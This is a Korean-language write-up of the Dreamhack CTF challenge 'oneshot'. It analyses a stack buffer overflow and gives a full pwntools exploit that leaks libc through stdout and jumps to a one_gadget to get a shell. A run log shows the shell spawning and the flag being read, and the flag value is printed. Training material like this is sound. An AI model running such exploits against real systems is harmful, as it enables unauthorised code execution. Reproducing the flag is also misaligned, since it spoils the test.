Description
이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 16.04 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
분석
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[24]; // [rsp+10h] [rbp-20h] BYREF __int64 v5; // [rsp+28h] [rbp-8h] v5 = 0LL; initialize(argc, argv, envp); printf("stdout: %p\n", stdout); printf("MSG: "); read(0, buf, 46uLL); if ( v5 ) exit(0); printf("MSG: %s\n", buf); memset(buf, 0, 0x10uLL); return 0; }
buf를 입력받는데 정해진 24바이트 크기보다 더 큰 46바이트를 입력받을 수 있기 때문에
버퍼 오버플로우가 발생한다.
스택 구조는 아래와 같다.
ret
———————————
이전 함수의 base pointer <- rbp
———————————
check (v5) <- rbp – 0x8
———————————
buf[24] <- rbp – 0x20
페이로드를 구성하면 다음과 같다.
buf[24]를 덮을 더미 데이터 24바이트 + v5를 덮을 “\x00” 8바이트 + rbp를 덮을 더미 데이터 8바이트 + ret을 덮을 one-shot gadget 주소
One-shot gadget?
라이브러리 내에 존재하는 가젯으로, 리눅스 시스템에서 특정 조건 하에 pc를 바꾸는 것 만으로 셸을 실행시켜 주는 코드 가젯.
Example
mov rax, cs:environ_ptr_0 lea rsi, [rsp+1B8h+var_168] lea rdi, aBinSh ; "/bin/sh" mov rdx, [rax] call execve
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/oneshot$ one_gadget ./libc-2.23.so 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL ...
one_gadget은 아래 명령어로 설치할 수 있다.
sudo apt install ruby
sudo gem install one_gadget
Solution
from pwn import * context.log_level = 'debug' #p = process('./oneshot') p = remote('host3.dreamhack.games', 9703) #stdout_address = p.recvuntil("\n") stdout = p.recvuntil("\n").split(b" ")[1].split(b"\n")[0] stdout = int(stdout, 0) libc_base = stdout - 0x3C5620 oneshot_gadget = libc_base + 0x45226 print(stdout) p.recvuntil("MSG: ") payload = b"A"*24 + b"\x00" * 8 + b"A"*8 + p64(oneshot_gadget) p.sendline(payload) p.interactive()
FLAG
DH{7caac677309f0c97f98cd088e4184671d434b376dd2504df8d6b7ae7da3fc8f5}
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/oneshot$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 9703: Done [DEBUG] Received 0x17 bytes: b'stdout: 0x7f8fc3460620\n' 140255433197088 [DEBUG] Received 0x5 bytes: b'MSG: ' [DEBUG] Sent 0x31 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000010 41 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 │AAAA│AAAA│····│····│ 00000020 41 41 41 41 41 41 41 41 26 02 0e c3 8f 7f 00 00 │AAAA│AAAA│&···│····│ 00000030 0a │·│ 00000031 [*] Switching to interactive mode [DEBUG] Received 0x1e bytes: b'MSG: AAAAAAAAAAAAAAAAAAAAAAAA\n' MSG: AAAAAAAAAAAAAAAAAAAAAAAA $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0xd bytes: b'flag\n' b'oneshot\n' flag oneshot $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x45 bytes: b'DH{7caac677309f0c97f98cd088e4184671d434b376dd2504df8d6b7ae7da3fc8f5}\n' DH{7caac677309f0c97f98cd088e4184671d434b376dd2504df8d6b7ae7da3fc8f5}